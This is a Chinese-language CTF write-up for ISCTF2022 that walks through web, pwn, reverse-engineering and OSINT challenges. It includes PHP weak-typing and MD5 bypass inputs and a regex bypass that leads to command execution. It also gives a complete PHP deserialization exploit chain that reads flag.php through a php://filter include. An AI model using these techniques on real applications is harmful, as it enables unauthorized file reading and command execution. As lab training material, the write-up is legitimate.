目录

  1. 1. 前言
  2. 2. WEB
    1. 2.1. EASY-PHP01
    2. 2.2. EASY-PHP02
    3. 2.3. FakeWeb
    4. 2.4. simplephp
    5. 2.5. 猫和老鼠(复现)
  3. 3. PWN
    1. 3.1. nc_pwn
  4. 4. Reverse
    1. 4.1. SigninReverse
    2. 4.2. 开摆re
  5. 5. MISC
    1. 5.1. Welcome To ISCTF2022
    2. 5.2. 简单社工

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ISCTF2022 WriteUp

2022/11/3 CTF线上赛
  |     |   总文章阅读量:

前言

算是本人第一次打的团队赛,战绩还是挺可观的,成功打进了新生赛道前20喜提awd

WEB

EASY-PHP01

img

打开靶机可以看到以上界面,f12查看页面

img

get传入hint

img

阅读源代码可知post传入ISCTF的值要弱等于114514但是不能强等于114514才能得到flag

所以根据php弱类型语言匹配的特性传入114514a得到flag

img


EASY-PHP02

img

img

阅读源代码可知get传参传入任意NAME且传入P0ST1和P0ST2(这里是数字0不是O)使P0ST1的值等于P0ST2 MD5加密后的值得到flag1

且由于0e后面的值会被忽略所以传入

img

然后使用post传参传入GET1和GET2

这里GET1被过滤了纯数字且要等于0,依旧利用弱类型语言特性传入

img

然后要求传入一个非纯数字且大于678的GET2,于是传入并得到flag2

img

其中flag1为十六进制编码,flag2为url编码后base64编码

解码得

img


FakeWeb

img

打开靶机发现这个,题目提示这是假页面

于是打开burpsuite进行抓包

img

看到这里存在一个直接跳转的页面,发到重放器

发包返回304,经过查阅资料,发现If-None-MatchETag是解题关键点

要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包

得到flag

img


simplephp

img

代码审计得知要get传参传入str与pattern进行匹配,所以传入str

img

然后要求传入num为36但过滤了36前没用的字符,所以直接使用换页符%0c

img

最后传入cmd获取flag回显

img


猫和老鼠(复现)

反序列化引用绕过

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);

class mouse
{
    public $v;

    public function __toString()
    {
        echo "Good. You caught the mouse:";
        include($this->v);
    }
}

class cat
{
    public $a;
    public $b;
    public $c;

    public function __destruct()
    {
        $this->dog();
        $this->b = $this->c;  // c影响b,同时会影响a
        die($this->a);     // 相当于echo,和tostring一起利用
    }
    public function dog()
    {
        $this->a = "I'm a vicious dog, Kitty";
    }
}
unserialize($_GET["cat"]);

需要注意的是$this->b=$this->c,给c赋值会影响到b

这里我们可以让$this->a = &$this->b,调用a的地址,那么die中的语句就会变成$this->c=new mouse(),即影响到了a

die($this->a) 相当于echo,可以调用__toString

exp:

<?php
class mouse
{
    public $v="php://filter/convert.base64-encode/resource=flag.php";
}

class cat
{
    public $a;
    public $b;
    public $c;

    public function __construct()
    {
        $this->a = &$this->b;  //&引用
        $this->c = new mouse();   //c->b->a,调用include函数
    }
}
echo serialize(new cat());

PWN

nc_pwn

img

nc直接连接靶机

img

输入ls命令查看目录得知flag在/flag中

img

可知cat命令不存在

img

ls查看bin文件,得知只有以上三个可用指令

img

使用read和sh得到flag


Reverse

SigninReverse

打开并下载文件

img

直接拖进ida f5分析得到flag


开摆re

img

下载文件拖入ida中f5进行分析

分析一下这个代码的意思,若数组num与key异或得到的结果res等于right就会得到激活码

那么编写脚本并运行

img

输入程序中验证

img

flag即为这个激活码


MISC

Welcome To ISCTF2022

扫码回复ISCTF2022得到flag


简单社工

img


如图,由高雄捷运得知地点位于高雄市,且得知捷运的起点站和终点站为小港和冈山及到站时间

img

查询得知位于高雄地铁红线

img

查询该铁路线的到站时间可匹配巨蛋站

img

按照要求进行md5加密即可